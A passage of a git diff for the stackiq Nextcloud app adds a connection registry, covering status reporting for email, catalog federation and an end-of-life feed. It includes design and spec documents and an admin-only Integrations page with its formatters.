a/lib/Service/Federation/FederationService.php +++ b/lib/Service/Federation/FederationService.php @@ -27,6 +27,7 @@ namespace OCA\Stackiq\Service\Federation; +use OCA\Stackiq\Service\ConnectionReportService; use OCA\Stackiq\Service\SettingsService; use OCP\App\IAppManager; use Psr\Container\ContainerInterface; @@ -63,6 +64,9 @@ class FederationService { * @param FederationMerger $merger The merge/staleness reconciler. * @param SettingsService|null $settingsService Resolves the mirror register/schema (lazy/optional). * @param LoggerInterface $logger Logger. + * @param ConnectionReportService|null $connectionReports Tells integriq what a peer change or a pull met. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met */ public function __construct( private readonly ContainerInterface $container, @@ -71,6 +75,7 @@ public function __construct( private readonly FederationMerger $merger, private readonly ?SettingsService $settingsService, private readonly LoggerInterface $logger, + private readonly ?ConnectionReportService $connectionReports = null, ) { }//end __construct() @@ -141,9 +146,13 @@ public function getStatus(): array { * * @param string $peerUrl The peer base URL. * + * A new peer asks integriq to resolve the federation connection again + * (adopt-connection-registry). + * * @return array{ok:bool, reason:string} Result for the settings UI. * * @spec openspec/specs/federated-catalog-sync/spec.md + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met */ public function addPeer(string $peerUrl): array { $peerUrl = trim($peerUrl); @@ -162,6 +171,7 @@ public function addPeer(string $peerUrl): array { $peers[] = $peerUrl; $this->config->setPeers(array_values($peers)); + $this->connectionReports?->federationPeersChanged(status: $this->getStatus()); return ['ok' => true, 'reason' => 'peer added']; }//end addPeer() @@ -170,9 +180,13 @@ public function addPeer(string $peerUrl): array { * * @param string $peerUrl The peer base URL. * + * A removed peer asks integriq to resolve the federation connection again + * (adopt-connection-registry). + * * @return array{ok:bool, reason:string} Result for the settings UI. * * @spec openspec/specs/federated-catalog-sync/spec.md + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met */ public function removePeer(string $peerUrl): array { $peerUrl = trim($peerUrl); @@ -184,6 +198,7 @@ public function removePeer(string $peerUrl): array { $this->config->setPeers($filtered); $this->config->setPeerFailures($peerUrl, 0); + $this->connectionReports?->federationPeersChanged(status: $this->getStatus()); return ['ok' => true, 'reason' => 'peer removed']; }//end removePeer() @@ -278,11 +293,29 @@ public function discoverPeers(): array { * independently so one unreachable peer cannot block the rest. Returns a * per-peer result summary for logging / the admin UI. * + * Tells integriq what the pull met, from the Pull now button and from + * FederationSyncJob alike (adopt-connection-registry). + * * @return array{ok:bool, reason:string, peers:array>} * * @spec openspec/specs/federated-catalog-sync/spec.md + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-002-a-save-asks-integriq-to-look-again-and-a-run-reports-what-it-met */ public function pullAllPeers(): array { + $result = $this->pullEveryPeer(); + $this->connectionReports?->federationPulled(pull: $result); + + return $result; + }//end pullAllPeers() + + /** + * Pull every subscribed peer, one at a time. + * + * @return array{ok:bool, reason:string, peers:array>} + * + * @spec openspec/specs/federated-catalog-sync/spec.md + */ + private function pullEveryPeer(): array { if ($this->config->isEnabled() === false) { return ['ok' => false, 'reason' => 'federation disabled', 'peers' => []]; } @@ -297,7 +330,7 @@ public function pullAllPeers(): array { } return ['ok' => true, 'reason' => 'ok', 'peers' => $results]; - }//end pullAllPeers() + }//end pullEveryPeer() /** * Pull one peer's published catalog and reconcile it into local mirrors. diff --git a/lib/Settings/connections.json b/lib/Settings/connections.json new file mode 100644 index 000000000..e2fcb8591 --- /dev/null +++ b/lib/Settings/connections.json @@ -0,0 +1,37 @@ +{ + "app": "stackiq", + "connections": [ + { + "key": "email", + "title": "Email", + "description": "Sends registration, activation and account mails to organisations and their users.", + "order": 10, + "settingsUrl": "/settings/admin/stackiq#section-email", + "adapter": { + "configKey": "email_transport_type", + "simulatedValues": ["null"], + "simulatedMessage": "The null transport is selected, so no mail leaves stackiq. Pick a real transport in the Email configuration section." + }, + "unconfiguredMessage": "Not checked yet. Save the Email configuration section, and stackiq checks the settings." + }, + { + "key": "federation", + "title": "Catalog federation", + "description": "Announces this catalog to directory.opencatalogi.nl and pulls published entries from peer catalogs, through OpenCatalogi.", + "order": 20, + "settingsUrl": "/settings/admin/stackiq#section-federation", + "reportedOnly": true, + "unconfiguredMessage": "Not checked yet. Choose Pull now in the Catalog federation section to check the peers." + }, + { + "key": "eol-feed", + "title": "End-of-life feed", + "description": "Reads product cycles from endoflife.date through integriq, and stamps end-of-support dates on module versions.", + "order": 30, + "settingsUrl": "/settings/admin/stackiq#section-eol-sync", + "reportedOnly": true, + "sourceTemplate": "endoflife-date", + "unconfiguredMessage": "Not checked yet. Choose Sync now in the End-of-life feed sync section." + } + ] +} diff --git a/openspec/changes/adopt-connection-registry/.openspec.yaml b/openspec/changes/adopt-connection-registry/.openspec.yaml new file mode 100644 index 000000000..a40cb63c1 --- /dev/null +++ b/openspec/changes/adopt-connection-registry/.openspec.yaml @@ -0,0 +1,2 @@ +schema: spec-driven +created: 2026-09-14 diff --git a/openspec/changes/adopt-connection-registry/design.md b/openspec/changes/adopt-connection-registry/design.md new file mode 100644 index 000000000..24231e76d --- /dev/null +++ b/openspec/changes/adopt-connection-registry/design.md @@ -0,0 +1,96 @@ +# Design: adopt-connection-registry + +The contract is hydra `openspec/changes/connection-registry/design.md` (hydra#667, amended in hydra#673, with hydra#674 pending). This file records how stackiq meets it and where it fits loosely. + +## D1. Which connections are declared + +Each candidate was checked against the code on `development`. + +| Key | Declared as | Why | +|---|---|---| +| `email` | `adapter.configKey: email_transport_type`, `simulatedValues: ["null"]` | `SymfonyEmailService::createTransport()` builds `null://null` for `null`. | +| `federation` | `reportedOnly: true` | `FederationService` needs OpenCatalogi installed and the boolean key `federation_enabled`. Neither is readable as a filled string. | +| `eol-feed` | `reportedOnly: true`, `sourceTemplate: endoflife-date` | `EolSyncService::run()` reads integriq's `eol_product` and `eol_cycle` through OpenRegister. Integriq seeds the `endoflife-date` source. | + +**Why an empty transport is not simulated.** Stackiq reads a key that was never set with the default `smtp`. A key set to an empty or unknown value reaches the `default` branch of `createTransport()`, which builds an SMTP transport with a warning. An empty value sends real mail, so the contract default `[""]` would be a false Simulated. The file lists `null` only. + +**Why email has no `requiredConfig`.** Which keys a transport needs depends on the transport: a host for SMTP, an API key for SendGrid, nothing for sendmail. And `email_enabled` stores `false` as a filled string. No fixed key list can say "the settings are complete", so stackiq reports it (D2). + +**Why federation and eol-feed are reported only.** `federation_enabled` is typed boolean, and integriq's reader answers `typed` for it, which is a filled value. `eol_sync_config` is a JSON blob that is filled after any save, with `enabled` true or false. Rule 5 would read both as configured. + +**Anchors.** The admin section is `stackiq` (`StackiqAdmin::getSection()`), so each link is `/settings/admin/stackiq#section-…`. The three section components put the id on their `AlwaysVisibleSection`, whose root `NcSettingsSection` inherits it. + +## D2. What stackiq reports, and when + +`lib/Service/ConnectionReportService.php` sends both events. It names the classes by string behind `class_exists` (ADR-041) and never throws. + +Every save sends the refresh first and the report second. Under hydra#674 the refresh retires older observations, so a report sent before it would be retired by it. + +**Email, on an email settings save** (`POST /api/settings/email`, or `PUT` and `POST /api/settings` with `emailSettings`). Stackiq reads `SymfonyEmailService::isEmailSystemConfigured()`. + +| Stackiq sees | Status | Message | +|---|---|---| +| Email switched off | `unconfigured` | "Email is switched off, so stackiq sends no mail." | +| The transport misses what it needs | `unconfigured` | "Email is on, and the SMTP Server transport misses a setting it needs." | +| A required template is empty | `unconfigured` | "Email is on, and a required mail template is empty." | +| Everything filled | `configured` | "Email is on and the SMTP Server transport settings are filled. No test mail was sent." | + +The `null` transport still reads Simulated: rule 3 sits above every report. + +**Federation, on a peer add or remove.** Stackiq reads `FederationService::getStatus()`. + +| Stackiq sees | Status | Message | +|---|---|---| +| OpenCatalogi not installed | `unavailable` | "Federation needs the OpenCatalogi app, and it is not installed." | +| `federation_enabled` off | `unconfigured` | names the `occ` command | +| No peers | `unconfigured` | "Federation is on, and no peer catalog is added yet." | +| Ready | nothing | the refresh alone, so the row reads the declared "Not checked yet" | + +**Federation, after a pull** (Pull now, or `FederationSyncJob`). The same three blocking states come from the pull's `reason`. Otherwise: + +| Peers that answered | Status | +|---|---| +| all | `configured` | +| some | `limited`, naming the first host that failed | +| none | `error`, naming the first host that failed | + +A message names a peer by host only, never by its full URL, and cuts a failure reason at 160 characters. + +**End-of-life feed, on an EOL sync settings save.** A refresh, and `unconfigured` when `enabled` is off. Otherwise the row reads "Not checked yet" until the next run. + +**End-of-life feed, after a run** (Sync now, or `EolSyncJob`). `EolSyncService::run()` already records a status. The report maps its `reason`: + +| Reason | Status | +|---|---| +| none, the run completed | `configured`, with the matched and skipped counts | +| `disabled` | `unconfigured` | +| `openregister-not-installed` | `unavailable` | +| `object-service-unavailable` | `error` | +| `module-schema-not-configured` | `unconfigured` | +| `eol-register-or-schema-not-found` | `unconfigured`, naming integriq's endoflife.date source | +| anything else | `error`, naming the reason | + +**Why this is cheap.** A save and a button are admin actions. `FederationSyncJob` runs once per `federation_sync_interval` (3600 s by default), and `EolSyncJob` once per `intervalSeconds`, never below 300 s. No page request sends an event (ADR-076). + +**Wiring.** `FederationService`, `FederationSyncJob`'s service and `EolSyncService` are built by hand in `Application::register()`. Those factories pass the report service by name. `SettingsController` is autowired, so it takes the service as an optional last argument. + +## D3. The page + +- `src/manifest.d/connection-registry.json`: an `index` page `Integrations` at `/settings/integrations`, `requiresApp` integriq, `permission: admin`, `showAdd: false`, and the columns connection, status, status message, last checked and settings. +- Its menu entry `IntegrationsMenu` sits in the settings gear with `query: {app: stackiq}`, `permission: admin` and `visibleIf.appInstalled: integriq`. +- `src/services/connectionRegistry.js` holds the two formatters and `openIntegriqConnections`. +- `App.vue` passes the formatters through CnAppRoot's `formatters` prop. It passed none before this change. `src/customComponents.js` carries the handler, because CnIndexPage resolves a header action's handler against `customComponents`. + +**Formatters.** The installed `@conduction/nextcloud-vue` 2.39.0 ships no `connectionStatus` built-in, so stackiq carries a local copy with all six labels, `limited` included. + +## D4. Contract misfits + +- **A boolean app-config key.** `federation_enabled` is typed boolean. Integriq's reader answers `typed` for a type conflict, which counts as filled, so a `requiredConfig` on it would read Configured while federation is off. The contract has no way to say "filled and true". `reportedOnly` works around it. +- **A flag inside a blob.** `eol_sync_config` holds `{"enabled": false, …}`. `adapter.jsonPath` reads inside a blob, but only rule 3 uses it, and "switched off" is not "simulated". A `requiredConfig` with a JSON path would fit this row. +- **Completeness that depends on the adapter.** Email needs different keys per transport. `requiredConfig` is one fixed list. +- **Gate 116's vendored schema is behind integriq.** `hydra-gates/scripts/schemas/connections.schema.json` on `.github` `main` has no `jsonPath`, `simulatedValues` or `reportedOnly`, so gate 116 warns on every file that uses the hydra#673 fields. The file validates against integriq's own schema on `development`. + +## Risks + +- **Same-second ordering.** Stackiq sends the refresh before the report. If integriq stamps `refreshedAt` later than the report's `at` within one request, the report is retired. Hydra#674 compares with "not older than", so an equal stamp counts. +- **A federation row can lag a failing peer.** Between pulls the row keeps the last outcome. `FederationSyncJob` bounds that to one sync interval. diff --git a/openspec/changes/adopt-connection-registry/proposal.md b/openspec/changes/adopt-connection-registry/proposal.md new file mode 100644 index 000000000..b43e66e1a --- /dev/null +++ b/openspec/changes/adopt-connection-registry/proposal.md @@ -0,0 +1,45 @@ +--- +kind: code +--- + +# Proposal: adopt-connection-registry + +## Why + +Stackiq talks to three outside systems, and an admin can only tell whether they work by reading three settings sections and a log. + +- **Email.** Mail goes out through Symfony Mailer. `email_transport_type` picks smtp, sendmail, native, null, sendgrid, mailgun, postmark, ses or mailjet. On `null`, every mail is dropped without a sound. +- **Catalog federation.** OpenCatalogi announces this catalog to directory.opencatalogi.nl and pulls entries from peer catalogs. It needs OpenCatalogi installed and `federation_enabled` on, and a peer can fail for hours before anyone notices. +- **End-of-life feed.** Integriq ingests endoflife.date, and stackiq matches the cycles to module versions. A missing register or a switched-off sync shows only inside its own section. + +Hydra change `connection-registry` (hydra#667, amended in hydra#673 and hydra#674) gives every app one page of its connections, backed by integriq. + +## What changes + +- New `lib/Settings/connections.json` with three connections: `email`, `federation` and `eol-feed`. +- `email` names `email_transport_type` as its adapter key, and only `null` reads Simulated. An empty value is not simulated: stackiq falls back to SMTP. +- `federation` and `eol-feed` are `reportedOnly`. Only stackiq can see OpenCatalogi, `federation_enabled` (a boolean key) and the sync outcome. +- `eol-feed` offers integriq's `endoflife-date` source as its template. +- The three settings sections get stable ids: `section-email`, `section-federation` and `section-eol-sync`. +- An email settings save, a peer add or remove, and an EOL sync settings save send `ConnectionRefreshRequestedEvent` for that connection, then report what stackiq can see. +- A federation pull and an EOL sync run report their outcome. Both run on a schedule or on the admin's button, never on a page request. +- An Integrations page under the settings gear, over integriq's `app_connection` schema, preset to `app=stackiq`, admin only, and only shown when integriq is installed. +- Add integration opens `/apps/integriq/connections?app=stackiq&link=1`. +- Local `connectionStatus` and `connectionSettingsLabel` formatters with all six statuses, and the strings in English and Dutch. + +## Depends on + +- hydra `openspec/changes/connection-registry`, design D2, D4, D6, D8, D9 and D12, and hydra#674 (a refresh retires older observations). +- integriq on `development`: the `app_connection` schema, the declaration sync, both events, the Connections overview and the `endoflife-date` source. + +Without integriq the menu entry is hidden, a deep link shows the missing-dependency screen, and nothing is sent. + +## Out of scope + +- The stackiq register schema `connection` (softwarecatalogus). It describes a catalogue item and is unrelated to integriq's `app_connection`. +- The email test buttons. The store posts `testEmail` and `settings`, and the controller reads `email` and `emailSettings`, so neither test reaches a real send today. A report from them would describe unsaved settings. +- The directory announce. Its result is logged, and the row speaks for the pull. + +## Rollback + +Revert the change. Stackiq writes no rows of its own. Integriq removes the rows without a linked source on its next sync. diff --git a/openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md b/openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md new file mode 100644 index 000000000..7aae69757 --- /dev/null +++ b/openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md @@ -0,0 +1,95 @@ +# admin-integrations Specification Delta + +**Status**: proposed +**Scope**: stackiq +**OpenSpec changes**: +- [adopt-connection-registry](../../) + +## Purpose + +Admins see stackiq's outside connections on one page, with a status stackiq can back. + +## ADDED Requirements + +### Requirement: REQ-STACKIQ-CONN-001 Stackiq declares its outside connections in one static file + +Stackiq SHALL declare `email`, `federation` and `eol-feed` in `lib/Settings/connections.json` in the shape of hydra connection-registry design D2 (hydra REQ-CONN-001). The `email` entry SHALL name `email_transport_type` as its adapter key with `simulatedValues` holding `null` and not the empty string, because an empty transport sends mail through SMTP. The `federation` and `eol-feed` entries SHALL be `reportedOnly`. The `eol-feed` entry SHALL offer integriq's `endoflife-date` source template. Every `settingsUrl` SHALL point at a section id that exists in the admin settings page. + +#### Scenario: The declaration names this app and passes integriq's schema +@e2e exclude A static file with no browser surface; tests/Unit/Settings/ConnectionsDeclarationTest.php checks the shape, the app id, unique keys and the anchors. + +- **GIVEN** `lib/Settings/connections.json` +- **WHEN** it is validated against integriq's `connections.schema.json` +- **THEN** it SHALL validate +- **AND** its `app` SHALL equal the id in `appinfo/info.xml` +- **AND** every key SHALL be unique +- **AND** every `#section-…` anchor SHALL be an id in a settings section component + +#### Scenario: The null transport reads simulated, and an empty one does not +@e2e tests/e2e/workflows/integrations-page.spec.ts + +- **GIVEN** integriq has synced stackiq's declaration +- **WHEN** `email_transport_type` holds `null` +- **THEN** the Email row SHALL read Simulated with the declared message +- **AND** when `email_transport_type` is empty or `smtp`, rule 3 SHALL NOT apply + +### Requirement: REQ-STACKIQ-CONN-002 A save asks integriq to look again, and a run reports what it met + +When a save writes the settings of a declared connection, stackiq SHALL send `ConnectionRefreshRequestedEvent` with app `stackiq` and that key, and SHALL send it before any report for that key (hydra REQ-CONN-004, hydra#674). An email settings save SHALL then report what `SymfonyEmailService::isEmailSystemConfigured()` sees. A peer add or remove SHALL report OpenCatalogi missing as `unavailable`, and federation off or without peers as `unconfigured`. A federation pull SHALL report every peer answering as `configured`, some as `limited` and none as `error`. An EOL sync run SHALL report its recorded outcome. A message SHALL name a peer by host only. Both events SHALL be named by string and sent only when the class exists. Neither SHALL change the response of the request, job or run that sent it. No page request SHALL send an event. + +#### Scenario: Saving email settings refreshes, then reports +@e2e exclude The event is not observable from a browser; tests/Unit/Service/ConnectionReportServiceTest.php and tests/Unit/Controller/SettingsControllerConnectionReportTest.php assert the order and the unchanged response. + +- **GIVEN** integriq is installed +- **WHEN** an admin saves the email settings with email switched off +- **THEN** stackiq SHALL send a refresh for `email` +- **AND** then a report `unconfigured` saying email is switched off + +#### Scenario: A pull where some peers fail reads limited +@e2e exclude A pull needs OpenCatalogi and reachable peers, which the CI instance does not have; tests/Unit/Service/ConnectionReportServiceTest.php drives the outcomes. + +- **GIVEN** federation is on with two peers +- **WHEN** a pull reaches one peer and not the other +- **THEN** stackiq SHALL report `federation` as `limited` +- **AND** the message SHALL name the failing peer's host and not its path + +#### Scenario: An EOL run without integriq's register reads not configured +@e2e exclude The run's outcome depends on integriq's register on the instance; tests/Unit/Service/ConnectionReportServiceTest.php asserts the report per reason, and tests/Unit/Service/ConnectionReportCallersTest.php that a run hands it over. + +- **GIVEN** EOL sync is switched on +- **WHEN** a run cannot find the `eol_product` or `eol_cycle` schema +- **THEN** stackiq SHALL report `eol-feed` as `unconfigured` with a message naming integriq's endoflife.date source + +#### Scenario: Without integriq nothing is sent +@e2e exclude The CI instance installs integriq; tests/Unit/Service/ConnectionReportServiceTest.php asserts nothing is sent or logged when the class is absent. + +- **GIVEN** integriq is not installed +- **WHEN** an admin saves email settings, or a pull or a sync runs +- **THEN** no event SHALL be sent and nothing SHALL be logged +- **AND** the save, pull or run SHALL answer as it did before this change + +### Requirement: REQ-STACKIQ-CONN-003 An admin reads the connections on an Integrations page + +Stackiq SHALL render an `index` page at `/settings/integrations` over `integriq/app_connection`, reached from the settings gear and preset to `app` equal to `stackiq` through its menu entry's `query` (hydra REQ-CONN-006). The page and its menu entry SHALL be admin only. The page SHALL require Integriq, and the menu entry SHALL only render when integriq is installed. The status column SHALL name all six statuses, `limited` included. The page SHALL NOT offer a generic Add button. Its Add integration action SHALL open `/apps/integriq/connections?app=stackiq&link=1`. + +#### Scenario: The page lists only the rows of stackiq +@e2e tests/e2e/workflows/integrations-page.spec.ts + +- **GIVEN** stackiq and integriq are installed and integriq has synced the declaration +- **WHEN** an admin opens the Integrations page +- **THEN** the page SHALL list the three declared connections +- **AND** every listed row SHALL have `app` equal to `stackiq` + +#### Scenario: Add integration goes to integriq +@e2e tests/e2e/workflows/integrations-page.spec.ts + +- **GIVEN** the Integrations page +- **WHEN** the admin chooses Add integration +- **THEN** the browser SHALL open integriq's Connections overview with `app=stackiq` and `link=1` + +#### Scenario: A connection that works in part reads Limited +@e2e exclude Only a federation pull with a failing peer produces limited; tests/vitest/connectionRegistry.spec.js asserts the label in English and Dutch. + +- **GIVEN** a row whose status is `limited` +- **WHEN** the page renders it +- **THEN** the cell SHALL read Limited, or Beperkt on a Dutch instance diff --git a/openspec/changes/adopt-connection-registry/tasks.md b/openspec/changes/adopt-connection-registry/tasks.md new file mode 100644 index 000000000..c524a3beb --- /dev/null +++ b/openspec/changes/adopt-connection-registry/tasks.md @@ -0,0 +1,34 @@ +# adopt-connection-registry tasks + +## 1. Declare + +- [x] 1.1 Write `lib/Settings/connections.json` with `email`, `federation` and `eol-feed`. +- [x] 1.2 Give the Email, Catalog federation and End-of-life feed sync sections the ids the file links to. +- [x] 1.3 Guard the file in `tests/Unit/Settings/ConnectionsDeclarationTest.php`. + +## 2. Page + +- [x] 2.1 Add `src/manifest.d/connection-registry.json` with the page and its settings-gear menu entry. +- [x] 2.2 Add `src/services/connectionRegistry.js` with the two formatters and the Add integration handler. +- [x] 2.3 Wire the formatters in `src/App.vue` and the handler in `src/customComponents.js`; register `PowerPlugOutline` in `src/icons.js`. +- [x] 2.4 Add the strings to `l10n/en` and `l10n/nl`. +- [x] 2.5 Cover it in `tests/vitest/connectionRegistry.spec.js`. + +## 3. Reports and refresh + +- [x] 3.1 Add `lib/Service/ConnectionReportService.php`. +- [x] 3.2 Refresh and report from the two email settings save paths in `SettingsController`. +- [x] 3.3 Refresh and report from `FederationService` peer changes and pulls. +- [x] 3.4 Refresh and report from `EolSyncService` config saves and runs. +- [x] 3.5 Pass the service in the `Application` factories. +- [x] 3.6 Add the integriq event stubs for PHPUnit, psalm and phpstan. +- [x] 3.7 Cover it in `ConnectionReportServiceTest`, `ConnectionReportCallersTest` and `SettingsControllerConnectionReportTest`. + +## 4. End to end + +- [x] 4.1 Write `tests/e2e/workflows/integrations-page.spec.ts`. +- [x] 4.2 Install integriq in the CI `additional-apps`. + +## 5. After integriq ships + +- [ ] 5.1 Run the e2e spec against an instance with both apps, then archive this change. diff --git a/phpstan.neon b/phpstan.neon index 804b28f31..f339f36a9 100644 --- a/phpstan.neon +++ b/phpstan.neon @@ -26,6 +26,10 @@ parameters: # spellings are in the field, and without this one the analyser proves # the newer half of the inbound guard dead. - tests/analysis-stubs/decidiq-events.stub.php + # Integriq's connection-registry events (adopt-connection-registry). + # ConnectionReportService names them by string behind class_exists. + - tests/Stubs/Integriq/Event/ConnectionStatusReportedEvent.php + - tests/Stubs/Integriq/Event/ConnectionRefreshRequestedEvent.php ignoreErrors: # OrganizationSyncService's `if ($contactObject !== null)` at the top of diff --git a/psalm.xml b/psalm.xml index bd3c1db1f..176feef4d 100644 --- a/psalm.xml +++ b/psalm.xml @@ -45,6 +45,12 @@ stub already existed for PHPUnit mock generation and mirrors the real signature in openregister/lib/Service/RegisterResolverService.php. --> + + + diff --git a/src/App.vue b/src/App.vue index 1987ef141..c05275f09 100644 --- a/src/App.vue +++ b/src/App.vue @@ -22,6 +22,7 @@ :customComponents="customComponents" :registry="registry" :pageTypes="pageTypes" + :formatters="formatters" appId="stackiq" :translate="translateForApp" :permissions="permissions" @@ -75,6 +76,7 @@ import OrganisationSwitcher from './components/organisations/OrganisationSwitche import Dialogs from './dialogs/Dialogs.vue' import Modals from './modals/Modals.vue' import { setActiveOrganisationUuid } from './composables/orClient.js' +import { createConnectionFormatters } from './services/connectionRegistry.js' import { settingsStore } from './store/store.js' export default { @@ -148,6 +150,15 @@ export default { data() { return { + /** + * Named cell formatters merged over CnAppRoot's built-ins. + * `connectionStatus` and `connectionSettingsLabel` render the + * Integrations page (adopt-connection-registry); nextcloud-vue + * 2.39.0 ships neither as a built-in. Before this change the app + * passed no formatters at all. + */ + formatters: createConnectionFormatters((source) => ncT('stackiq', source)), + objectSidebarState: reactive({ active: false, open: true, diff --git a/src/customComponents.js b/src/customComponents.js index dac0c48d3..e48c278b7 100644 --- a/src/customComponents.js +++ b/src/customComponents.js @@ -17,6 +17,7 @@ // - openspec/changes/stackiq-manifest-v1/design.md // - @conduction/nextcloud-vue → docs/migrating-to-manifest.md +import { generateUrl } from '@nextcloud/router' import OrganisatieCard from './components/cards/OrganisatieCard.vue' import ContractApprovalPanel from './components/contracts/ContractApprovalPanel.vue' import OrganisationMergePanel from './components/organisations/OrganisationMergePanel.vue' @@ -31,8 +32,19 @@ import LifecycleRoadmapView from './views/LifecycleRoadmapView.vue' import PortfolioReportView from './views/organisaties/PortfolioReport.vue' import StackiqSettingsPage from './views/settings/StackiqSettings.vue' import SuitesIndexView from './views/suites/SuitesIndexView.vue' +import { createConnectionHandlers } from './services/connectionRegistry.js' export default { + // Header-action handler: the Integrations page's Add integration + // (adopt-connection-registry). A FUNCTION, because it leaves the app for + // integriq's Connections overview and a header action's `navigate` only + // pushes a route inside this app. CnIndexPage resolves a handler name + // against this map. + ...createConnectionHandlers({ + generateUrl, + assign: (url) => window.location.assign(url), + }), + // OrganisatieCard — the bespoke card (inline contactpersoon toggle) used as // the `cardComponent` of the now-decomposed Organisaties type='index' page // (Phase 8). CnIndexPage's cardComponent config closed the prior lib gap. diff --git a/src/icons.js b/src/icons.js index f13e72b28..be09aea7a 100644 --- a/src/icons.js +++ b/src/icons.js @@ -53,6 +53,7 @@ import OfficeBuildingOutline from 'vue-material-design-icons/OfficeBuildingOutli import Package from 'vue-material-design-icons/Package.vue' import PackageVariant from 'vue-material-design-icons/PackageVariant.vue' import PackageVariantClosed from 'vue-material-design-icons/PackageVariantClosed.vue' +import PowerPlugOutline from 'vue-material-design-icons/PowerPlugOutline.vue' import PuzzleOutline from 'vue-material-design-icons/PuzzleOutline.vue' import ShieldAlert from 'vue-material-design-icons/ShieldAlert.vue' import ShieldAlertOutline from 'vue-material-design-icons/ShieldAlertOutline.vue' @@ -111,6 +112,7 @@ export default { Package, PackageVariant, PackageVariantClosed, + PowerPlugOutline, PuzzleOutline, ShieldAlert, ShieldAlertOutline, diff --git a/src/manifest.d/connection-registry.json b/src/manifest.d/connection-registry.json new file mode 100644 index 000000000..1b2f5e283 --- /dev/null +++ b/src/manifest.d/connection-registry.json @@ -0,0 +1,87 @@ +{ + "$schema": "https://raw.githubusercontent.com/ConductionNL/nextcloud-vue/main/src/schemas/app-manifest-v2.schema.json", + "_note": "adopt-connection-registry (hydra connection-registry D8, hydra#667, hydra#673 and hydra#674). The rows are integriq's `app_connection` objects, synced from lib/Settings/connections.json; integriq works out each status. The app=stackiq preset is the menu entry's `query` (ADR-097 decision 5), which the index page merges into the fetch as a bare filter key. `showAdd` is false because a row nothing declared has nothing to check (D9). Add integration leaves for integriq's overview through the openIntegriqConnections handler in src/customComponents.js, because a header action's `navigate` only pushes a route inside this app. This page lists integriq's `app_connection`, never stackiq's own softwarecatalogus `connection` schema.", + "menu": [ + { + "id": "IntegrationsMenu", + "label": "Integrations", + "icon": "PowerPlugOutline", + "route": "Integrations", + "query": { + "app": "stackiq" + }, + "section": "settings", + "order": 98, + "permission": "admin", + "visibleIf": { + "appInstalled": "integriq" + } + } + ], + "pages": [ + { + "id": "Integrations", + "route": "/settings/integrations", + "type": "index", + "title": "Integrations", + "permission": "admin", + "requiresApp": { + "id": "integriq", + "name": "Integriq" + }, + "config": { + "register": "integriq", + "schema": "app_connection", + "showViewAction": false, + "showAdd": false, + "headerActions": [ + { + "id": "add-integration", + "label": "Add integration", + "icon": "PowerPlugOutline", + "handler": "openIntegriqConnections" + } + ], + "defaultSort": { + "field": "order", + "direction": "asc" + }, + "columns": [ + { + "key": "title", + "label": "Connection" + }, + { + "key": "status", + "label": "Status", + "formatter": "connectionStatus" + }, + { + "key": "statusMessage", + "label": "Status message", + "sortable": false + }, + { + "key": "checkedAt", + "label": "Last checked" + }, + { + "key": "settingsUrl", + "label": "Settings", + "sortable": false, + "formatter": "connectionSettingsLabel", + "widget": "link", + "widgetProps": { + "href": "{settingsUrl}" + } + } + ], + "folderSidebar": { + "source": "field", + "field": "status", + "allLabel": "All connections" + } + } + } + ] +} diff --git a/src/services/connectionRegistry.js b/src/services/connectionRegistry.js new file mode 100644 index 000000000..6a881ba7e --- /dev/null +++ b/src/services/connectionRegistry.js @@ -0,0 +1,99 @@ +// SPDX-License-Identifier: EUPL-1.2 +// Copyright (C) 2026 Conduction B.V. + +/** + * The Integrations page's two formatters and its Add integration handler. + * + * The rows on that page are integriq's `app_connection` objects (hydra change + * connection-registry, design D8). The installed @conduction/nextcloud-vue + * 2.39.0 ships neither formatter, so stackiq carries this copy until a + * release with the built-ins is pinned. The names are the contract's, so the + * copies across the fleet stay interchangeable. + * + * Pure: the translator, the URL builder and the navigation are passed in, so + * the module runs under vitest's node environment with nothing mocked. + * + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-003-an-admin-reads-the-connections-on-an-integrations-page + */ + +/** + * Where Add integration lands: integriq's Connections overview, preset to this + * app and opening the link-a-source dialog (hydra connection-registry D9). + */ +export const INTEGRIQ_CONNECTIONS_PATH = '/apps/integriq/connections?app=stackiq&link=1' + +/** + * The English label for each of the six registry statuses (design D3). + * + * `limited` came with hydra#673: the connection works in part. + */ +export const CONNECTION_STATUS_LABELS = Object.freeze({ + configured: 'Configured', + limited: 'Limited', + unconfigured: 'Not configured', + simulated: 'Simulated', + unavailable: 'Not available', + error: 'Error', +}) + +/** + * Build the two connection formatters around a translator. + * + * @param {function(string): string} translate Translates an English source string for this app. + * @return {{connectionStatus: function(unknown): string, connectionSettingsLabel: function(unknown): string}} The formatters, keyed by their manifest names. + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-003-an-admin-reads-the-connections-on-an-integrations-page + */ +export function createConnectionFormatters(translate) { + return { + /** + * The label for a status. An unknown value renders itself, because a + * status the app cannot name is still a status the admin should see. + * + * @param {unknown} value The row's `status`. + * @return {string} The label, the raw value, or '' when missing. + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-003-an-admin-reads-the-connections-on-an-integrations-page + */ + connectionStatus(value) { + const source = typeof value === 'string' && Object.hasOwn(CONNECTION_STATUS_LABELS, value) + ? CONNECTION_STATUS_LABELS[value] + : null + return source ? translate(source) : String(value ?? '') + }, + + /** + * The Open settings link text, or '' when the row has nowhere to send a + * reader. An empty text makes the link cell fall through to plain text. + * + * @param {unknown} value The row's `settingsUrl`. + * @return {string} The link text, or ''. + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-003-an-admin-reads-the-connections-on-an-integrations-page + */ + connectionSettingsLabel(value) { + return typeof value === 'string' && value.length > 0 ? translate('Open settings') : '' + }, + } +} + +/** + * Build the Add integration header-action handler. + * + * A 